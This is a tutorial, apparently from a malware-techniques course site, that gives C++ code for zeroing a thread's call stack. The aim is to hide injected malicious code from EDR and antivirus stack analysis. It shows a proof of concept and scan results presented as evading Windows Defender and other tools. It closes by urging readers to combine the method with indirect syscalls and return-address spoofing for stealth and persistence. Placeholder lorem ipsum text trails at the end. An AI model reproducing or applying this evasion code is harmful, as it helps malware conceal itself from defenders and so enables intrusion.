I will show you an interesting technique where we clean the call stack of a thread. This can be very useful for malware developers who want to evade detection.
When a security tool analyzes a process, it often inspects the call stack of running threads to detect suspicious activity. If your malware injects code into a process, security tools can identify it by tracing the stack back to the original caller. By cleaning or manipulating the call stack, we can make our malicious thread look normal, reducing the chances of detection by EDR and AV solutions.
How Does This Work?
Normally, a thread’s call stack contains return addresses that show the execution path from one function to another. Security tools use this to detect anomalies, such as calls originating from injected code. The idea behind stack cleaning is to overwrite or manipulate these return addresses so that analysis tools see a “clean” or misleading stack.

Master the best Windows OS malware techniques, from beginner to advanced, all in C++.
Code
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
// This function will run in a dummy thread
DWORD WINAPI DummyThread(LPVOID lpParam) {
Sleep(INFINITE); // This thread simply waits indefinitely
return 0;
}
// Function to manipulate the stack of a thread in a process
void CleanStack(HANDLE hThread) {
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
// Suspend the thread before modifying its context
SuspendThread(hThread);
// Get the thread's context
if (!GetThreadContext(hThread, &ctx)) {
cerr << "Error retrieving thread context" << endl;
ResumeThread(hThread);
return;
}
DWORD64 originalRsp = ctx.Rsp;
cout << "Original RSP: " << hex << originalRsp << endl;
constexpr int STACK_CLEAN_SIZE = 16;
DWORD64 stackValues[STACK_CLEAN_SIZE];
// Read the target thread's stack
SIZE_T bytesRead;
if (!ReadProcessMemory(GetCurrentProcess(), (LPCVOID)originalRsp, stackValues, sizeof(stackValues), &bytesRead)) {
cerr << "Error reading stack memory" << endl;
ResumeThread(hThread);
return;
}
// Clear the stack
ZeroMemory(stackValues, sizeof(stackValues));
// Write the cleaned values back to the thread's stack
SIZE_T bytesWritten;
if (!WriteProcessMemory(GetCurrentProcess(), (LPVOID)originalRsp, stackValues, sizeof(stackValues), &bytesWritten)) {
cerr << "Error writing stack memory" << endl;
}
ctx.Rsp = originalRsp; // Restore RSP
// Apply the changes to the thread context
if (!SetThreadContext(hThread, &ctx)) {
cerr << "Error setting thread context" << endl;
}
// Resume the thread
ResumeThread(hThread);
}
int main() {
// Create a dummy thread within the same process
HANDLE hThread = CreateThread(NULL, 0, DummyThread, NULL, 0, NULL);
if (!hThread) {
cerr << "Error creating thread" << endl;
return 1;
}
// Get the Thread ID of the created thread
DWORD threadId = GetThreadId(hThread);
cout << "Thread ID: " << threadId << endl;
// Wait for the thread to initialize
Sleep(100);
cout << "Before Cleaning stack..." << endl;
getchar();
// Manipulate the dummy thread's stack from the main thread
CleanStack(hThread);
cout << "After Cleaning stack..." << endl;
getchar();
// Now we can terminate the dummy thread
TerminateThread(hThread, 0);
// Wait for the thread to complete before closing the program
WaitForSingleObject(hThread, INFINITE);
// Close the thread handle
CloseHandle(hThread);
Sleep(100000); // Simulate a long wait before the program exits
return 0;
}
The code starts by including necessary Windows headers for thread manipulation and memory access. It defines a simple function DummyThread
that runs indefinitely. This thread acts as a test subject for our stack cleaning technique. The main focus of the code is the CleanStack
function, which manipulates the call stack of a given thread.
Inside CleanStack
, we first define a CONTEXT
structure and set its ContextFlags
to CONTEXT_FULL
, allowing access to all thread registers. Before modifying the stack, the thread is suspended using SuspendThread
, ensuring that it doesn’t execute while changes are being made. The function then retrieves the current execution context using GetThreadContext
, which provides details about the thread’s register state, including the stack pointer (Rsp
).
To clean the stack, the function reads memory from the stack using ReadProcessMemory
, storing the values in an array. It then zeroes out the stack values using ZeroMemory
, effectively wiping any return addresses that could reveal the malware’s origin. These cleaned values are written back to the stack using WriteProcessMemory
. After modifying the stack, the original Rsp
is restored, and the modified context is applied back to the thread with SetThreadContext
. Finally, the thread is resumed using ResumeThread
, allowing it to continue execution with a cleaned stack.
In the main
function, a new dummy thread is created using CreateThread
. The thread ID is retrieved and printed, and a short delay ensures the thread is properly initialized. The user is prompted to press a key before stack cleaning begins. Once CleanStack
is executed, another prompt allows the user to compare the stack state before and after the cleaning. Finally, the dummy thread is terminated with TerminateThread
, and the program waits for its completion before closing handles and exiting.
This method ensures that forensic tools and security solutions analyzing the call stack will not find suspicious traces leading back to injected or malicious code. By cleaning the stack, the malware can hide its execution origin, improving stealth against EDRs and AVs.
Proof of Concept
Now let’ see the execution:

Let’s check the call stack before the clean step using Process Hacker 2:

Now let’s press a key to clean the scan:


It’s working!
Detection
Litterbox:




_____ __
/ \ ____ ____ _____/ |______
/ \ / \ / _ \ / \_/ __ \ __\__ \
/ Y ( <_> ) | \ ___/| | / __ \_
\____|__ /\____/|___| /\___ >__| (____ /
\/ \/ \/ \/
Moneta v1.0 | Forrest Orr | 2020 09c3c3b7217907e384a13c73c15486f6_StackCallCleaner.exe : 3508 : x64 : C:\Users\s12de\Desktop\LitterBox\Uploads\09c3c3b7217907e384a13c73c15486f6_StackCallCleaner.exe 0x00007FF63E920000:0x00029000 | EXE Image | C:\Users\s12de\Desktop\LitterBox\Uploads\09c3c3b7217907e384a13c73c15486f6_StackCallCleaner.exe | Unsigned module 0x00007FF63E920000:0x00001000 | R | Header | 0x00000000 | Primary image base 0x00007FF63E921000:0x00010000 | RWX | .textbss | 0x00010000 | Modified code 0x00007FF63E931000:0x0000a000 | RX | .text | 0x00000000 Thread 0x00007FF63E931320 [TID 0x00000f80] Thread 0x00007FF63E931276 [TID 0x00001ef0] 0x00007FF63E93B000:0x00004000 | R | .rdata | 0x00000000 0x00007FF63E93F000:0x00001000 | RW | .data | 0x00001000 0x00007FF63E940000:0x00005000 | R | .pdata | 0x00001000 0x00007FF63E940000:0x00005000 | R | .idata | 0x00001000 0x00007FF63E945000:0x00001000 | WC | .msvcjmc | 0x00000000 0x00007FF63E946000:0x00003000 | R | .00cfg | 0x00000000 0x00007FF63E946000:0x00003000 | R | .rsrc | 0x00000000 0x00007FF63E946000:0x00003000 | R | .reloc | 0x00000000... scan completed (0.172000 second duration)
ThreatCheck

Windows Defender

Execution:
Not detected as malicious!
BitDefender Free AV

Conclusions
Stack cleaning is a powerful technique that helps malware evade detection by removing traces of injected or suspicious execution paths from a thread’s call stack. Security tools rely heavily on stack analysis to detect anomalies, and by overwriting stack memory, we can make it harder for forensic tools and EDR solutions to track the origin of malicious execution. This method, combined with other evasion techniques, can significantly improve stealth and persistence.
While this technique can be useful for bypassing detection, modern security solutions are continuously evolving to counter such methods. Advanced behavioral analysis and memory forensics can still reveal suspicious activity even after stack cleaning. Therefore, it’s important to combine stack manipulation with other evasion techniques, such as indirect syscalls, return address spoofing, or memory unmapping, to further obscure malicious operations. By understanding and experimenting with these techniques, developers can stay ahead of evolving security defenses.
Phasellus viverra nulla ut metus varius laoreet. Quisque rutrum.
At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga.